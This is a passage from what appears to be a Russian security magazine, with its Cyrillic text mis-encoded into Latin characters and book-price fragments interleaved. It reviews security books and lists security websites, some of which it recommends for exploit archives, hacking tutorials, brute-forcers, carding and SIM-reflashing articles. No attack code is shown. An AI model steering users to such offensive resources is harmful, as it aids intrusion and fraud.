ïðîòèâ ïîïûòîê íåñàíêöèî-
íèðîâàííîãî äîñòóïà ê êîí-
ôèäåíöèàëüíûì äàííûì.
Ïðî÷èòàâ êíèãó, òû íàó-
÷èøüñÿ íàõîäèòü è óäàëÿòü
òàê íàçûâàåìûå ïðîãðàì-
ìíûå çàêëàäêè (êëàâèàòóð-
íûå øïèîíû, òðîÿíñêèå
ïðîãðàììû è ò.ï.), óñèëèøü
ïàðîëüíóþ çàùèòó ÎÑ äëÿ
ïðåäîòâðàùåíèÿ âçëîìà è
çàùèòèøü ñâîþ ñèñòåìó îò
ïðîíèêíîâåíèÿ èçâíå ÷åðåç
êîìïüþòåðíóþ ñåòü. À, ïðè-
ìåíÿÿ îïèñàííûå òåõíîëî-

ãèè øèôðîâàíèÿ, ñìîæåøü
ñäåëàòü òàê, ÷òîáû ê õðàíè-
ìûì äàííûì äîñòóï èìåë
òîëüêî òû.

ÇÀÙÈÒÀ ÎÒ ÕÀÊÅÐÎÂ
ÊÎÌÌÅÐ×ÅÑÊÎÃÎ ÑÀÉÒÀ 

Êàçàëîñü áû, ïðîãðà-
ììíîå îáåñïå÷åíèå

ïîñòîÿííî ìîäåðíèçèðóåòñÿ
è ñî âðåìåíåì äîëæíî ñòàòü
íåïðèñòóïíûì äëÿ àòàê. Íà
ïðàêòèêå âñå ñ òî÷íîñòüþ
äî íàîáîðîò. Èäåÿ êíèãè:
çàùèòèòü ñâîé ðåñóðñ îò
âçëîìà ìîæíî, åñëè äóìàòü,
êàê âçëîìùèê. Òû óçíàåøü
ñïîñîáû âçëîìà çàùèòû
(DDoS-àòàêè) è ñìîæåøü
ñîáñòâåííîðó÷íî ïðîâåðèòü
ñèñòåìó áåçîïàñíîñòè íà
ïðî÷íîñòü. Îñîáîå âíèìà-
íèå óäåëåíî âîïðîñó áåçî-
ïàñíîñòè ôèíàíñîâûõ òðàí-
çàêöèé ÷åðåç èíòåðíåò è
ðàçðàáîòêå èçíà÷àëüíî çà-
ùèùåííîãî âåá-ñàéòà. Ïîä-
ðîáíî ðàññìîòðåíû ìåòîäû
îöåíêè çàùèòíûõ ìåð è
âíåäðåíèå ïîëèòèêè ñåòå-
âîé áåçîïàñíîñòè, à òàêæå
÷ðåçâû÷àéíîå ïëàíèðîâà-
íèå íà ñëó÷àé âçëîìà.

ÒÅÕÍÈÊÀ ÑÅÒÅÂÛÕ 
ÀÒÀÊ 

Äîñòóïíîå îïèñàíèå
ïðîáëåì áåçîïàñíîñ-

òè â ñåòè. Äàíû  ðåêîìåíäà-
öèè, êàê îáåçîïàñèòü ñåáÿ
îò àòàê íà UNIX (àòàêà Êå-
âèíà Ìèòíèêà), Windows
95/98/NT/2000 (óÿçâè-
ìîñòü àâòîìàòè÷åñêîãî âõî-
äà â ñèñòåìó, óÿçâèìîñòü
àëãîðèòìà øèôðîâàíèÿ
õýø-çíà÷åíèÿ, ïåðåäàâàå-
ìîãî ïî ñåòè, ïîäáîð ïàðî-
ëÿ, àòàêà RedButton), ñèñòå-
ìû ýëåêòðîííîé òîðãîâëè,
ïî÷òîâûå ñåðâåðû (ïåðåõ-
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SPECial delivery

2002
Äæåððè Ëè Ôîðä
272 ñòðàíèöû

Ðàçóìíàÿ öåíà: 105 ðóáëåé

2002
Øèôôìàí Ì.
304 ñòðàíèöû

Ðàçóìíàÿ öåíà: 165 ðóáëåé

2004
Alex WebKnacKer
400 ñòðàíèö

Ðàçóìíàÿ öåíà: 175 ðóáëåé

»

»

»
»

»

»

2000
Àíèí Á.Þ.
384 ñòðàíèöû

Ðàçóìíàÿ öåíà: 115 ðóáëåé

2004
Ðàññåë Ð.
552 ñòðàíèöû

Ðàçóìíàÿ öåíà: 578 ðóáëåé



âàò ïî÷òîâîãî òðàôèêà,
÷åðâü Ìîððèñà, îøèáêà
"uudecode", îøèáêà íåÿâ-
íîé ïîääåðæêè êîíâåéåðà)
è êëèåíòîâ, âåá-ñåðâåðû è
áðàóçåðû, òåëåêîíôåðåí-
öèè è ìíîãîå äðóãîå. Áîíóñ -
÷åðíûå õîäû â Windows
2000.

ÏÐÎÒÈÂÎÑÒÎßÍÈÅ
ÕÀÊÅÐÀÌ. ÏÎØÀÃÎÂÎÅ
ÐÓÊÎÂÎÄÑÒÂÎ 
ÏÎ ÊÎÌÏÜÞÒÅÐÍÛÌ
ÀÒÀÊÀÌ È
ÝÔÔÅÊÒÈÂÍÎÉ ÇÀÙÈÒÅ

Êíèãà àäðåñîâàíà
ñèñòåìíûì è ñåòåâûì

àäìèíèñòðàòîðàì, çàíèìàþ-
ùèìñÿ êîìïüþòåðíûìè àòà-
êàìè è ñïîñîáàìè èõ ïðåäî-
òâðàùåíèÿ. Ñòðàòåãèè àòàê
è ìåòîäû çàùèòû, êîòîðûå
îïèñàíû â êíèãå, èñïîëüçó-
þòñÿ íà ïðàêòèêå ìíîãèìè
ïðåäïðèÿòèÿìè è îðãàíèçà-
öèÿìè, èìåþùèìè êîìïüþ-
òåðíûå ñåòè. Ïðî÷èòàâ êíè-
ãó, òû ïîéìåøü, êàêèìè ìå-
òîäàìè ïîëüçóåòñÿ òâîé
ïðîòèâíèê ïðè âçëîìå: íà-

÷èíàÿ îò ïðîñòîãî ñêàíèðî-
âàíèÿ è çàêàí÷èâàÿ ìîùíû-
ìè àòàêàìè (êîòîðûå çà÷àñ-
òóþ íîñÿò çàêàçíîé õàðàê-
òåð è õîðîøî ôèíàíñèðó-
þòñÿ). Äåòàëüíî ðàññìàòðè-
âàþòñÿ íàèáîëåå ÷àñòî
âñòðå÷àþùèåñÿ ñòðàòåãèè
ðåàëüíûõ àòàê è äàþòñÿ ñî-
âåòû, êàê çàùèòèòüñÿ îò
âîçìîæíûõ íàïàäåíèé.

ÎÁÍÀÐÓÆÅÍÈÅ
ÍÀÐÓØÅÍÈÉ
ÁÅÇÎÏÀÑÍÎÑÒÈ Â ÑÅÒßÕ 

Ñîâðåìåííûå àïïà-
ðàòíûå è ïðîãðàì-

ìíûå ñðåäñòâà ïðîòèâîäåé-
ñòâèÿ àòàêàì õàêåðîâ, êîòî-
ðûå ïîçâîëÿò îðãàíèçîâàòü
íàäåæíóþ çàùèòó ñâîåé
ëîêàëüíîé ñåòè èëè îòäåëü-
íîãî åå óçëà. Óäîáíî, ÷òî
îïèñûâàåòñÿ ïîëíàÿ ïîñëå-
äîâàòåëüíîñòü äåéñòâèé,
êîòîðûå äîëæíû îñóùåñ-
òâëÿòüñÿ ïðè âîçíèêíîâå-
íèè íåñòàíäàðòíûõ ñèòóà-
öèé. Èçó÷èâ êíèãó, òû íàó-
÷èøüñÿ ïîíèìàòü îñíîâíûå
ïðèíöèïû ðàáîòû ïðîòîêî-
ëîâ TCP/IP â ðåàëüíûõ óñ-
ëîâèÿõ, àíàëèçèðîâàòü ñå-
òåâîé òðàôèê, ðàçáèðàòüñÿ
â ïîëÿõ IP-çàãîëîâêà, èñ-
ïîëüçîâàòü àíàëèçàòîðû
TCPdump è Snort äëÿ âûÿâ-
ëåíèÿ âðåäîíîñíîãî òðàôè-
êà, îáíàðóæèâàòü ðàçâåäêó
è ñêàíèðîâàíèå ñ ïîìîùüþ
ñïåöèàëüíûõ ïðîãðàìì.

ÏÎÒÎ×ÍÛÅ ØÈÔÐÛ 

Ðàññìàòðèâàþòñÿ îñ-
íîâû êðèïòîãðàôèè ñ

ñåêðåòíûì êëþ÷îì, ñèììåò-
ðè÷íûå øèôðû, áëî÷íûå è
ïîòî÷íûå øèôðû, ñîâðå-
ìåííûå ñèíõðîííûå ïîòî÷-
íûå øèôðû, ñòîõàñòè÷åñ-

êèå ïîòî÷íûå êðèïòîàëãî-
ðèòìû (ïðèâîäÿòñÿ ïðèìåðû
âåðîÿòíîñòíûõ è ïîëèìîðô-
íûõ ïîòî÷íûõ øèôðîâ), çà-
ùèòà èíôîðìàöèè â ñòàí-
äàðòå GSM, êðèïòîàíàëèç
ïðîòîêîëà WEP (èñïîëüçó-
åòñÿ â áåñïðîâîäíûõ ñåòÿõ
RadioEthernet; â ÿäðå ýòîãî
ïðîòîêîëà ðàñïîëîæåí ïî-
òî÷íûé êðèïòîàëãîðèòì
RC4, ñ ïîìîùüþ êîòîðîãî
øèôðóåòñÿ âåñü òðàôèê
áåñïðîâîäíîé ñåòè).

ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ
ÀËÃÎÐÈÒÌÎÂ ÇÀÙÈÒÛ
ÈÍÔÎÐÌÀÖÈÈ: Ó×ÅÁÍÎÅ
ÏÎÑÎÁÈÅ

Êíèãà ïîñâÿùåíà
âîïðîñàì ïðîãðàì-

ìíîé ðåàëèçàöèè ðàçëè÷-
íûõ ìåòîäîâ çàùèòû èí-
ôîðìàöèè (îñíîâíîå âíèìà-
íèå óäåëåíî êðèïòîãðàôè-
÷åñêèì ìåõàíèçìàì çàùè-
òû). Ðàññìàòðèâàþòñÿ ðåà-
ëèçàöèÿ îòå÷åñòâåííîãî

ñòàíäàðòà êðèïòîãðàôè÷åñ-
êîé çàùèòû 28147-89: ðàç-
ëè÷íûå àñïåêòû ðåàëèçà-
öèè è îïòèìèçàöèè àëãîðèò-
ìà; ñåðòèôèöèðîâàííàÿ
ñèñòåìà êðèïòîãðàôè÷åñêîé
çàùèòû "Âåðáà-Î"; àëãîðèò-
ìû âûðàáîòêè è ïðîâåðêè
ýëåêòðîííîé öèôðîâîé ïîä-
ïèñè; îñíîâíûå ìåòîäû ðåà-
ëèçàöèè äàò÷èêîâ ñëó÷àé-
íûõ ÷èñåë; âîïðîñû ïîâû-
øåíèÿ íàäåæíîñòè ïðîãðà-
ììíûõ ñðåäñòâ çàùèòû èí-
ôîðìàöèè; èíòåðôåéñ
CryptoAPI 1.0. Êíèãà íåçà-
ìåíèìà äëÿ òåõ, êòî èçó÷àåò
äèñöèïëèíû "Ïðîãðàììíî-
àïïàðàòíûå ñðåäñòâà îáåñ-
ïå÷åíèÿ èíôîðìàöèîííîé
áåçîïàñíîñòè", "Ìåòîäû
êðèïòîãðàôè÷åñêîé çàùèòû
èíôîðìàöèè". E
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»

2001
Êàñïåðñêè Ê.
400 ñòðàíèö

Ðàçóìíàÿ öåíà: 184 ðóáëÿ

2003
Ñêóäèñ Ý.
512 ñòðàíèö

Ðàçóìíàÿ öåíà: 190 ðóáëåé

»

2003
Íîðòêàò Ñ.
448 ñòðàíèö

Ðàçóìíàÿ öåíà: 204 ðóáëÿ

»

2003
Àñîñêîâ À.Â.
336 ñòðàíèö

Ðàçóìíàÿ öåíà: 127 ðóáëåé

2002
Äîìàøåâ À.Â. 
416 ñòðàíèö

Ðàçóìíàÿ öåíà: 150 ðóáëåé



Êàðîëèê Àíäðåé (andrusha@sl.ru)

Í å áóäó ñêðûâàòü, ÷òî, ãîòîâÿ ýòîò îáçîð, ÿ â î÷åðåäíîé ðàç äîáàâèë íåñêîëüêî íîâûõ çàêëàäîê è â ñâîåì áðàóçåðå.
Êàæäàÿ èç ïðåäñòàâëåííûõ çäåñü ññûëîê èíòåðåñíà è ïîëåçíà.
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SECURITY.NNOV.RU

Ýòîò ïðîåêò áûë
ñîçäàí åùå â 1999

ãîäó áëàãîäàðÿ ñòàðàíèÿì
ÇÀÐÀÇû (3APA3A@securi-
ty.nnov.ru) - ïðîôåññèî-
íàëà â îáëàñòè áåçîïàñ-
íîñòè êîðïîðàòèâíûõ ñå-
òåé (åñëè ïîìíèøü, èí-
òåðâüþ ñ íèì ìû äåëàëè â
àïðåëüñêîì Ñïåöå). Ñåé-
÷àñ ýòî îáíîâëÿåìûé íåñ-
êîëüêî ðàç â íåäåëþ íî-
âîñòíîé ïîðòàë, ïîñâÿ-
ùåííûé êîìïüþòåðíîé
áåçîïàñíîñòè. Íîâîñòè
ñîáèðàþòñÿ ñ ðàçëè÷íûõ
ñàéòîâ è èç ðàññûëîê,
ïîñâÿùåííûõ âçëîìó è
áåçîïàñíîñòè (äëÿ êàæ-
äîé íîâîñòè óêàçàí åå èñ-
òî÷íèê). Òóò æå òû íàé-
äåøü íåñêîëüêî àâòîðñ-
êèõ ìàòåðèàëîâ ÇÀÐÀÇû è
êîëëåêöèþ ýêñïëîèòîâ (â
õîçÿéñòâå ïðèãîäèòñÿ :).
Ôîðóì ñàéòà ïîðàäîâàë
îáèëèåì ïîçíàâàòåëüíûõ
íèòîê, à íå ðàçãîâîðàìè î
ïîãîäå.

WWW.SECURITYLAB.RU

Ïîðòàë, îïåðàòèâíî
ðàññêàçûâàþùèé î

ñîáûòèÿõ â îáëàñòè èíôîð-

ìàöèîííîé áåçîïàñíîñòè.
Çäåñü òû íàéäåøü ïîñëåä-
íþþ èíôîðìàöèþ î íàéäåí-
íûõ óÿçâèìîñòÿõ è êîíêðåò-
íûå ðåêîìåíäàöèè ïî èõ
óñòðàíåíèþ. Åñòü è àíàëè-
òè÷åñêèå ìàòåðèàëû ïî ðàç-
ëè÷íûì íàïðàâëåíèÿì èí-
ôîðìàöèîííîé áåçîïàñíîñ-
òè. Òóò æå ïîñëåäíèå áþë-
ëåòåíè áåçîïàñíîñòè ïðîèç-
âîäèòåëåé ðàçëè÷íîãî ÏÎ è
ïîäðîáíàÿ èíôîðìàöèÿ ïî
ýêñïëîèòàì: öåëü, âîçäåé-
ñòâèå, àâòîð, îïèñàíèå óÿç-
âèìîñòè, à òàêæå ññûëêà,
÷òîáû ñêà÷àòü èñõîäíèê, -
åñòåñòâåííî, äëÿ àíàëèçà, à
íå äëÿ èñïîëüçîâàíèÿ ïî
íàçíà÷åíèþ :). Íà ñàéòå
ñîáðàíî áîëåå 5000 (!) ðàç-
ëè÷íûõ óòèëèò (ñ îïèñàíè-
åì), êîòîðûå íåîáõîäèìû
àäìèíèñòðàòîðàì è ðàçðà-
áîò÷èêàì ïðîãðàììíîãî
îáåñïå÷åíèÿ â ïîâñåäíåâ-
íîé ðàáîòå. Ôîðóì ïî ïðàâó
ñ÷èòàåòñÿ îäíèì èç ñàìûõ
ïîïóëÿðíûõ â Ðîññèè. Íà
íåì, â îñíîâíîì, îáùàþòñÿ
ñèñòåìíûå àäìèíèñòðàòîðû,
ñïåöèàëèñòû â îáëàñòè
êîìïüþòåðîâ, êîìïüþòåð-
íîé áåçîïàñíîñòè è çàùèòû
èíôîðìàöèè, ðàçðàáîò÷èêè
ïðîãðàììíîãî îáåñïå÷åíèÿ.
Çàäàé ïðàâèëüíûé âîïðîñ -
è ïîëó÷èøü îïåðàòèâíûé
îòâåò îò ñïåöèàëèñòîâ.

WWW.BUGTRACK.RU

Ïîïóëÿðíûé "ìàìîíò"
(ñóùåñòâóåò óæå äàâ-

íî) ñðåäè ðóññêîÿçû÷íûõ
ñàéòîâ, ïîñâÿùåííûõ èí-
ôîðìàöèîííîé áåçîïàñíîñ-
òè. Î ïîëåçíîñòè ðåñóðñà
ìîæíî ñóäèòü ïî åæåíå-
äåëüíîìó òèðàæó èíôîðìà-
öèîííûõ ðàññûëîê, êîòîðûé
çàøêàëèâàåò çà 100 òûñÿ÷.
Õàðàêòåðíàÿ ÷åðòà ñàéòà -
åãî ñîçäàòåëè íå ñòàâèëè
öåëüþ ãíàòüñÿ çà îáúåìîì è
çàíèìàòüñÿ ìîíèòîðèíãîì
èíôîðìàöèè î ìíîãî÷èñ-
ëåííûõ óÿçâèìîñòÿõ ìàëî-
èçâåñòíûõ ïðîãðàìì. Êðîìå
òîãî, íåêîòîðûå òåêñòû àâ-
òîðû íàìåðåííî îñòàâëÿþò
íà àíãëèéñêîì ÿçûêå, ñ÷è-
òàÿ ñâîþ àóäèòîðèþ äîñòà-
òî÷íî îáðàçîâàííîé è áåç
ïðîáëåì âëàäåþùåé òåõíè-
÷åñêèì àíãëèéñêèì (íà âñÿ-
êèé ïîæàðíûé åñòü ýëåêò-
ðîííûå ïåðåâîä÷èêè). Óïîð
äåëàåòñÿ íà îòñëåæèâàíèå
òåíäåíöèé, àíàëèòèêó è èí-
ôîðìèðîâàíèå î íàèáîëåå
çíà÷èìûõ ñîáûòèÿõ. Â 2003
ãîäó ñàéò ïîáåäèë â íîìè-
íàöèè "Ñàéò ãîäà" îò
"Õàðä'í'ñîôò" (http://ezhe.ru/
POTOP/results.html?do=res;2003;13),
à â 2004 ãîäó çàíÿë 3-å
ìåñòî â íîìèíàöèè "Ñàéò
èíôîðìàöèîííûõ òåõíîëî-
ãèé è òåëåêîììóíèêàöèé" îò
"ÐÎÒÎÐ"

(http://ezhe.ru/POTOP/results.html?
do=res;2004;11).

WWW.VOID.RU

Äðóãîé íåêîììåð÷åñ-
êèé ïðîåêò, êîòîðûé

ïîçèöèîíèðóåò ñåáÿ êàê íå-
çàâèñèìûé ñàéò ïî âîïðî-
ñàì èíôîðìàöèîííîé áåçî-
ïàñíîñòè (óÿçâèìîñòè â
ïðîãðàììíîì îáåñïå÷åíèè,
òåõíîëîãèè ñáîðà èíôîðìà-
öèè è òåõíîëîãèè ñîõðàíå-
íèÿ öåëîñòíîñòè ñèñòåì).
Çäåñü åñòü è íîâîñòè, è
ñòàòüè, íî íàñòîÿùåé èçþ-
ìèíêîé ðåñóðñà ÿâëÿåòñÿ
ôàéëîâûé àðõèâ, äåòàëüíàÿ
ñòàòèñòèêà ïî ðóññêîìó ñåê-
òîðó èíòåðíåòà è àðõèâ èí-
öèäåíòîâ. Ïðè æåëàíèè òû
ìîæåøü çàðåãèñòðèðîâàòü-
ñÿ (http://void.ru/?do=reg) è íà-
÷àòü ïðèíèìàòü ó÷àñòèå â
æèçíè ïðîåêòà - ïèñàòü êîì-
ìåíòàðèè ê ìàòåðèàëàì,
ðàñïîëîæåííûì íà ðåñóðñå,
ïðèñûëàòü ñâîè ñîáñòâåí-
íûå ïðåññ-ðåëèçû, íîâîñòè
è ëþáóþ äðóãóþ èíôîðìà-
öèþ, êîòîðàÿ èìååò îòíîøå-
íèå ê áåçîïàñíîñòè äàííûõ.
Äëÿ ïðîãðàììèñòîâ è ñåòå-
âûõ àäìèíèñòðàòîðîâ åñòü
ðàçäåë, ïîñâÿùåííûé ðàáî-
òå (âàêàíñèè è ðåçþìå).

WWW.OPENNET.RU

Ðåñóðñ, ïîñâÿùåííûé
Unix-ñèñòåìàì è îòê-

»

»

»

»

»

»
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ðûòûì òåõíîëîãèÿì, àäðåñî-
âàí ïðåæäå âñåãî àäìèíèñò-
ðàòîðàì è ïðîãðàììèñòàì.
Îí ìàëî ÷åì îòëè÷àåòñÿ îò
ïîäîáíûõ ïîðòàëîâ, ñîäåð-
æèò ñòàíäàðòíûå ðàçäåëû:
íîâîñòè, ñòàòüè, ñîâåòû,
ôîðóì, ññûëêè è äîêóìåíòà-
öèÿ. Íî åñòü âíóòðè ñàéòà
íåñêîëüêî ìèíè-ïîðòàëîâ,
èìåþùèõ óçêóþ ñïåöèàëè-
çàöèþ: solaris.opennet.ru
(ÎÑ Sun Solaris), bsd.open-
net.ru (ÎÑ FreeBSD,
OpenBSD, NetBSD),
cisco.opennet.ru (ìàðøðóòè-
çàòîðû è êîììóòàòîðû),
linux.opennet.ru (ÎÑ Linux),
web.opennet.ru (âåá-òåõíî-
ëîãèè), security.opennet.ru
(áåçîïàñíîñòü), palm.open-
net.ru (êàðìàííûå ÏÊ),
ftp.opennet.ru (ôàéëîâûé
àðõèâ). Íàì â äàííîì ñëó-
÷àå èíòåðåñåí ïîðòàë secu-
rity.opennet.ru, êîòîðûé
ïîñâÿùåí áåçîïàñíîñòè
Unix-ïîäîáíûõ ñèñòåì
(Linux, Solaris, FreeBSD,
OpenBSD, SCO, AIX è ò.ä.).
Äëÿ óäîáñòâà ðåñóðñ ÷åòêî
ðàçáèò íà òåìàòè÷åñêèå
ðàçäåëû: Summary advi-
sories (ïðàêòè÷åñêèå ñîâå-
òû), Exploits (ýêñïëîèòû),
CGI scripts bugs (äûðêè â
ñêðèïòàõ íà cgi), Patches
(ïàò÷è), Network-level appli-
cations (ñåòåâûå ïðèëîæå-
íèÿ), User-level applications
(íåñåòåâûå ïðèëîæåíèÿ),
Routers (Cisco) and firewalls
(ðîóòåðû è ôàåðâîëû),
Linux (RedHat, Mandrake,
Debian), FreeBSD, NETBSD,
OpenBSD, BSDI, AIX, True64,
HP UNIX, SGI IRIX, SCO
UNIX, Solaris, SUNOS, MS
bugs (áàãè ìèêðîìÿãêîãî).
Òàêîå äåëåíèå î÷åíü óäîá-
íî: ìåíüøå ðûòüñÿ â ññûë-
êàõ è ïðîùå íàõîäèòü èíòå-
ðåñóþùóþ èíôîðìàöèþ. 

WWW.NSD.RU/HACK.PHP

Íåïëîõàÿ ïîäáîðêà
ñòàòåé, âñåâîçìîæíûõ

ðóêîâîäñòâ è îáó÷àþùèõ
ìàíóàëîâ ïî âçëîìó. Ñòàòüè
(áîëåå 120) êðàéíå èíôîð-
ìàòèâíû. Òóò òåáå è ñåòåâîé

âçëîì äëÿ íà÷èíàþùèõ
(ñêàíåðû, ïðîêñè, ëîãè, àíî-
íèìíàÿ ïî÷òà, ôàåðâîëû,
âçëîì õîñòèíãà, áàãè â ÷à-
òàõ è ôîðóìàõ, ýñêïëîèòû è
òðîÿíû), è ñåòåâîé âçëîì
äëÿ ïðîäâèíóòûõ (àëãîðèò-
ìû àíàëèçà óäàëåííîé ñèñ-
òåìû, DNS-ñïóôôèíã, îáõîä
ôàåðâîëîâ, ñåêðåòû IP-ïðî-
òîêîëà, âçëîì ðîóòåðîâ, ïå-
ðåïîëíåíèå áóôåðà, ïîä-
äåëêà MAC-àäðåñîâ è ïðî-
÷åå), êîíñîëüíûå êîìàíäû,
ñåòåâàÿ çàùèòà (âåá-ñåðâå-
ðà, îò SYN-àòàê, òåõíèêà
ñîêðûòèÿ ïîðòîâ îò ñåòåâûõ
ñêàíåðîâ), çàùèòà ïðîãðàìì
(çàùèòà áàéò-êîäà, áåçîïàñ-
íîñòü cgi ñêðèïòîâ), áåçî-
ïàñíîñòü è òîíêîñòè Unix-
ñèñòåì è ïðî÷èå âêóñíûå
ñòàòüè ïî âçëîìó (âçëîì àâ-
òîîòâåò÷èêîâ, âçëîì òàêñî-
ôîíîâ, ïåðåïðîøèâêà SIM-
êàðòû).

WWW.DCHACK.NET

Ñàéò ïîñâÿùåí ñåòå-
âîé áåçîïàñíîñòè è

âñåìó, ÷òî ñ ýòèì ñâÿçàíî.
Îí íå ïðåòåíäóåò íà ìåãà-
ïîïóëÿðíîñòü, íî èíòåðåñåí
òåì, ÷òî ñîäåðæèò â îñíîâ-
íîì àêòóàëüíûå ìàòåðèàëû
è íåóñòàðåâøóþ èíôîðìà-
öèþ (âåäü îáû÷íî ïîäîá-
íûå ðåñóðñû ñòðàäàþò óñòà-
ðåâàíèåì êîíòåíòà). Íà ñàé-
òå òû íàéäåøü: ñòàòüè (îï-
ðåäåëåíèå è ñîêðûòèå IP,
êàðäèíã, ñåòåâûå ïðîòîêî-
ëû, DoS, òðîÿíû,
DCOM/RPC, âçëîì ïàðîëåé,
èçíàñèëîâàíèå Ëèíóêñà :),
÷åðâè, øïèîíû, óäàëåííîå
ïåðåïîëíåíèå, ðàáîòà ñ ÁÄ
è ïðî÷åå), ôàéëîâûé àðõèâ
(ýêñïëîèòû, áðóòôîðñ, ñêà-

íåðû, ñíèôôåðû è ò.ä.), òå-
ìàòè÷åñêèå ôîðóìû (âçëîì,
ñåðôèíã, ïðîãðàììèðîâà-
íèå, ñîôò, æåëåçî, óÿçâè-
ìîñòè), ýêñïëîèòû è óÿçâè-
ìîñòè.

WWW.WASM.RU

Ðåñóðñ äëÿ ïðîãðàì-
ìèñòîâ íà àññåìáëåðå

ïîä ðàçëè÷íûå îïåðàöèîí-
íûå ñèñòåìû (áîëüøàÿ
÷àñòü ìàòåðèàëîâ êàñàåòñÿ
ïðîãðàììèðîâàíèÿ ïîä
Windows). Îñíîâíûå íàï-
ðàâëåíèÿ ìàòåðèàëîâ ñàéòà:
ñèñòåìíîå ïðîãðàììèðîâà-
íèå, ñåòåâîå ïðîãðàììèðî-
âàíèå, îòëàäêà è äèçàññåìá-
ëèðîâàíèå ïðîãðàìì, çàùè-
òà îò äèçàññåìáëèðîâàíèÿ è
âîïðîñû, êàñàþùèåñÿ ðàç-
ëè÷íûõ àñïåêòîâ áåçîïàñ-
íîñòè. Òàêæå íà ñàéòå íàõî-
äÿòñÿ èñõîäíèêè íà àññåìá-
ëåðå (èíòåðôåéñ, ðàáîòà ñ
ôàéëàìè, ãðàôèêà, ìóëüòè-
ìåäèà, ñåòü, ñèñòåìà, óòèëè-
òû) è áîëüøîå êîëè÷åñòâî
èíñòðóìåíòîâ (ðåäàêòîðû,
ìîäèôèêàòîðû, ðàñïàêîâ-
ùèêè, êîìïèëÿòîðû, óïàêîâ-
ùèêè, îòëàä÷èêè, ïðèìî÷êè
äëÿ Soft-Ice è IDA, êðèïòî-
ðû, äèçàññåìáëåðû, èíñòàë-
ëÿòîðû, äåêîìïèëÿòîðû è
ìíîãîå äðóãîå), êîòîðûå ìî-
ãóò ïðèãîäèòüñÿ êîäåðó.
Êîëëåêöèÿ ïðîãðàìì ïîñòå-
ïåííî îáíîâëÿåòñÿ è ïîïîë-
íÿåòñÿ. È î÷åíü õîðîøî îð-
ãàíèçîâàí è îôîðìëåí ôî-
ðóì (http://www.wasm.ru/forum/).

WWW.SECURITYFOCUS.COM

Ýòîò ðåñóðñ áûë êóï-
ëåí êîìïàíèåé

Symantec â 2002 ãîäó è íà

äàííûé ìîìåíò ÿâëÿåòñÿ
äîñòàòî÷íî èçâåñòíûì èí-
ôîðìàöèîííûì èñòî÷íèêîì
äëÿ ïðîôè ïî áåçîïàñíîñòè
âî âñåì ìèðå. Äîñòóï ê òî÷-
íîé è îïåðàòèâíîé èíôîð-
ìàöèè îñóùåñòâëÿåòñÿ ñî-
âåðøåííî áåñïëàòíî (åñëè
äëÿ íàøèõ ðåñóðñîâ áåñï-
ëàòíîñòü î÷åâèäíà, òî íà
Çàïàäå ïîëíî àíàëîãè÷íûõ
ðåñóðñîâ ñ íåêîòîðîé, ïóñòü
íåáîëüøîé, àáîíåíòñêîé
ïëàòîé). SecurityFocus ïðè-
äåðæèâàåòñÿ íåéòðàëüíîé
ïîçèöèè ïî îòíîøåíèþ ê
âçëîìó, îáåñïå÷èâàÿ ïîñå-
òèòåëåé îáúåêòèâíîé, ñâî-
åâðåìåííîé è âñåñòîðîííåé
èíôîðìàöèåé. Áàçà äàííûõ
ïî èçâåñòíûì óÿçâèìîñòÿì
ðàçëè÷íûõ ïëàòôîðì è óñ-
ëóã èíòåðåñíà ïðîôè áëàãî-
äàðÿ ñàìîé ñâåæåé èíôîð-
ìàöèè, êîòîðàÿ âûêëàäûâà-
åòñÿ íà ñàéò áåñïëàòíî ÷å-
ðåç 48 ÷àñîâ ïîñëå òîãî,
êîãäà óÿçâèìîñòü áûëà íàé-
äåíà. Áîëåå îïåðàòèâíî
(ïî÷òè ñðàçó) ýòó èíôîðìà-
öèþ ïîëó÷àþò ïëàòíûå
ïîëüçîâàòåëè Symantec.
Ñòàòüè äëÿ ñàéòà ïèøóò ëþ-
äè íå ñ óëèöû, à èç ñïåöè-
àëüíîãî øòàòà. Âñå ìàòåðè-
àëû äëÿ óäîáñòâà ïîèñêà
óñëîâíî ðàçäåëåíû íà âî-
ñåìü ãðóïï: Penetration-
Testing (òåñò íà çàùèùåí-
íîñòü), Firewalls (áðàíäìàó-
ýðû), Intrusion Detection
(IDS, îáíàðóæåíèå àòàê),
Incident Handling (îáðàáîòêà
èíöèäåíòà) è äðóãèå.

WWW.CERT.ORG

Ýòîò ñàéò (ïî ñóòè, íà-
ó÷íî-èññëåäîâàòåëüñ-

êèé èíñòèòóò) áûë îòêðûò â
1988 ãîäó ïîñëå ãðîìêîãî
èíöèäåíòà ñ ÷åðâåì, êîòî-
ðûé ïîðàçèë îêîëî 10%
êîìïüþòåðîâ, ïîäêëþ÷åí-
íûõ ê èíåòó. Íà CERT/CC òû
íàéäåøü ìíîæåñòâî ñîâå-
òîâ ïî ñîâåðøåííî ðàçíûì
êîìïüþòåðíûì èíöèäåíòàì,
ñâÿçàííûõ ñ áåçîïàñ-
íîñòüþ. Íà ñàéòå àíàëèçè-
ðóþòñÿ óÿçâèìîñòè â ïðîã-
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ðàììíîì îáåñïå÷åíèè, ñå-
òÿõ è ñèñòåìàõ, èñïîëüçóå-
ìûå íà ìåæñåòåâûõ êîìïü-
þòåðàõ. Àíàëèçó ïîäâåðãà-
þòñÿ ïðåæäå âñåãî òåíäåí-
öèè â èíöèäåíòàõ è ìåòîäû
âòîðæåíèÿ. Èíôîðìàöèÿ
îêàæåòñÿ ïîëåçíîé â ïåð-
âóþ î÷åðåäü àäìèíèñòðàòî-
ðàì ñåòåé.

WWW.SECURITYNEWS-
PORTAL.COM

SecurityNewsPortal -
íåêîììåð÷åñêèé ðå-

ñóðñ, íà êîòîðîì ñîáðàíû
ïîñëåäíèå íîâîñòè ïî âèðó-
ñàì, òðîÿíàì, õàêåðàì è
ïðî÷åé íå÷èñòè. Ôàêòè÷åñ-
êè SNP äåëàåò îäèí ÷åëî-
âåê, ðàáîòàþùèé íà ïèâå :)
è ñîáèðàþùèé íîâîñòè ïî
áåçîïàñíîñòè. Îáíîâëåíèå
ñàéòà ïðîèñõîäèò 24 ÷àñà â
ñóòêè, ñåìü äíåé â íåäåëþ è
365 äíåé â ãîäó. Ìíîãèå,
êòî çíàêîì ñ ýòèì ñàéòîì,
ëþáÿò åãî çà àâòîðñêîå
ìíåíèå. Ìàðê, àâòîð ðåñóð-
ñà, ïîÿñíÿåò ýòî òàê: "Êàæ-
äûé äåíü ÿ ïðîñìàòðèâàþ
íåñêîëüêî ñîòåí ñòàòåé è
íîâîñòåé. Íåêîòîðûå ñòàòüè
